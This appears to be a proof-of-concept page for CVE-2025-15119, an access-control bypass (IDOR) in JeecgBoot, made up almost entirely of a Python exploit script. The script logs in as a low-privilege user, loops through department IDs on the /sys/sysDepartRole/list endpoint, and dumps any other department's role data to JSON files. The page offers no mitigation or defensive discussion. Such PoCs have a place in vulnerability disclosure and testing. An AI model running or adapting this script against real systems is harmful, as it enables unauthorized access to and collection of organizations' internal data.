CVE-2025-15119 | JeecgBoot 权限绕过漏洞（低危）

# CVE-2025-15119 PoC - JeecgBoot 权限绕过漏洞 # Target: /sys/sysDepartRole/list endpoint # Vulnerability: IDOR via deptId parameter manipulation import requests import json target = "http://target-server.com" login_url = f"{target}/sys/login" vuln_url = f"{target}/sys/sysDepartRole/list" # Step 1: Login with low-privilege account login_data = { "username": "attacker_user", "password": "password123" } session = requests.Session() login_resp = session.post(login_url, json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Exploit IDOR by manipulating deptId parameter # Try accessing other department's role data for dept_id in range(1, 100): payload = { "deptId": dept_id, "pageNo": 1, "pageSize": 10 } resp = session.get(vuln_url, params=payload) if resp.status_code == 200: data = resp.json() if data.get("success") and data.get("result"): print(f"[!] Found accessible data for deptId: {dept_id}") print(f"Data: {json.dumps(data, indent=2)}") # Save sensitive department role information with open(f"dept_{dept_id}_roles.json", "w") as f: json.dump(data, f, indent=2) print("[*] PoC execution completed")